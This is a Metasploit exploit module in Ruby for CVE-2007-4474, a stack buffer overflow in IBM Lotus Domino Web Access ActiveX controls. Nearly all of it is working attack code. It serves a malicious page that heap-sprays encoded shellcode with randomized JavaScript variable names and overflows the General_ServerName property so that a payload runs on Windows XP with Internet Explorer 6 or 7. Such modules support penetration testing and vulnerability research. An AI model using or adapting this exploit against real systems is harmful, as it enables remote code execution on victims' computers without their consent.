modules/exploits/windows/browser/ibmlotusdomino_dwa_uploadmodule.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM Lotus Domino Web Access Upload Module Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in IBM Lotus Domino Web Access Upload Module.
By sending an overly long string to the "General_ServerName()" property located
in the dwa7w.dll and the inotes6w.dll control, an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'Elazar Broad <elazarb[at]earthlink.net>' ],
'References' =>
[
[ 'CVE', '2007-4474' ],
[ 'OSVDB', '40954' ],
[ 'BID', '26972' ],
[ 'EDB', '4820' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP2 / IE 6.0 SP0-2 & IE 7.0 English', { 'Ret' => 0x0C0C0C0C } ]
],
'DisclosureDate' => '2007-12-20',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Setup exploit buffers
nops = Rex::Text.to_unescape(make_nops(4))
junk = Rex::Text.to_unescape(rand_text_alpha(2))
ret = Rex::Text.to_unescape([target.ret].pack('V'))
blocksize = 0x30000
fillto = 400
# Randomize the javascript variable names
dwa7w = rand_text_alpha(rand(100) + 1)
inotes6 = rand_text_alpha(rand(100) + 1)
j_shellcode = rand_text_alpha(rand(100) + 1)
j_nops = rand_text_alpha(rand(100) + 1)
j_headersize = rand_text_alpha(rand(100) + 1)
j_slackspace = rand_text_alpha(rand(100) + 1)
j_fillblock = rand_text_alpha(rand(100) + 1)
j_block = rand_text_alpha(rand(100) + 1)
j_memory = rand_text_alpha(rand(100) + 1)
j_counter = rand_text_alpha(rand(30) + 2)
j_ret = rand_text_alpha(rand(100) + 1)
j_junk = rand_text_alpha(rand(100) + 1)
randnop = rand_text_alpha(rand(100) + 1)
# Build out the message
content = <<-EOF
<html>
<object classid='clsid:E008A543-CEFB-4559-912F-C27C2B89F13B' id='#{dwa7w}'></object>
<object classid='clsid:3BFFE033-BF43-11D5-A271-00A024A51325' id='#{inotes6}'></object>
<script language='javascript'>
#{j_shellcode} = unescape('#{shellcode}');
#{randnop} = "#{nops}";
#{j_nops} = unescape(#{randnop});
#{j_headersize} = 20;
#{j_slackspace} = #{j_headersize} + #{j_shellcode}.length
while (#{j_nops}.length < #{j_slackspace}) #{j_nops} += #{j_nops};
#{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace});
#{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace});
while(#{j_block}.length + #{j_slackspace} < #{blocksize}) #{j_block} = #{j_block} + #{j_block} + #{j_fillblock};
#{j_memory} = new Array();
for (#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++) #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode};
#{j_ret} = unescape('#{ret}');
while (#{j_ret}.length < 450) #{j_ret} += #{j_ret};
#{j_junk} = unescape('#{junk}');
while (#{j_junk}.length < 2000) #{j_junk} += #{j_junk};
try {
#{dwa7w}.General_ServerName = #{j_junk} + #{j_ret};
#{dwa7w}.InstallBrowserHelperDll();
} catch(err) {}
try {
#{inotes6}.General_ServerName = #{j_junk} + #{j_ret};
#{inotes6}.InstallBrowserHelperDll();
} catch(err) {}
</script>
</html>
EOF
print_status("Sending #{self.name}")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end